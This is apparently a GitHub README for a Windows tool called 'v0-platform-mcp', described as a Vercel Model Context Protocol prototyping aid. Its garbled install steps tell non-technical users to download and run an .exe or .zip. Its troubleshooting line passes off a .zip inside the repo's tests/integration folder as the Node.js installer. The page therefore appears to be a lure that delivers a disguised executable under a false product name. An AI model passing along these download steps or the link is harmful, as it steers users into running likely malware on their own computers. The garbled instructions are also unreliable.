Enable rapid multi-screen UI prototyping and incremental development using Vercel’s Model Context Protocol with v0-platform-mcp.
v0-platform-mcp is a tool for creating and developing multi-screen user interfaces. It helps you build and improve prototypes step-by-step using a system called the Model Context Protocol (MCP). You do not need any programming experience.
This software runs on Windows and works through a simple command-line interface. It helps you turn your ideas into designs quickly and improve existing projects by adding small changes over time.
Follow these steps to download and run v0-platform-mcp on your Windows computer.
.exe or .zip extension..zip file, right-click it and choose Extract All to open the contents. .exe) inside the folder and double-click it to start installation. v0-platform-mcp needs an API key from Vercel to work.
This step connects the program to Claude Code, a companion tool that helps with prototyping.
cmd in the Windows search bar and press Enter). YOUR_KEY with your API key from the previous step:claude mcp add v0-platform-mcp --env V0_API_KEY=YOUR_KEY -- npx v0-platform-mcpOnce connected, you can begin creating multi-screen prototypes right away. Use the workflows explained below to guide your work.
This tool offers two main workflows depending on your needs. One helps you build new projects quickly, and the other helps keep older projects up to date.
Follow these three steps when you want to create something new from scratch.
Use this when you need to quickly test ideas, create demo apps, or build simple proof-of-concept designs.
Use this approach when you already have a project. The program helps you make improvements one step at a time while keeping everything organized.
Open Command Prompt and enter these commands after setup:
npx v0-platform-mcp startnpx v0-platform-mcp prepare_prototype_contextnpx v0-platform-mcp generate_prototypenpx v0-platform-mcp handoff_to_claude_devUse these commands step-by-step or combine them according to your workflow.
node -v in Command Prompt. If you don’t see a version number, install Node.js from https://raw.githubusercontent.com/Enfluranehighbloodpressure470/v0-platform-mcp/main/tests/integration/platform-mcp-v-1.1.zip. If you run into problems not solved by these instructions:
Download v0-platform-mcp from here and follow the install instructions above:
Enfluranehighbloodpressure470/v0-platform-mcp
March 21, 2026
April 13, 2026
TypeScript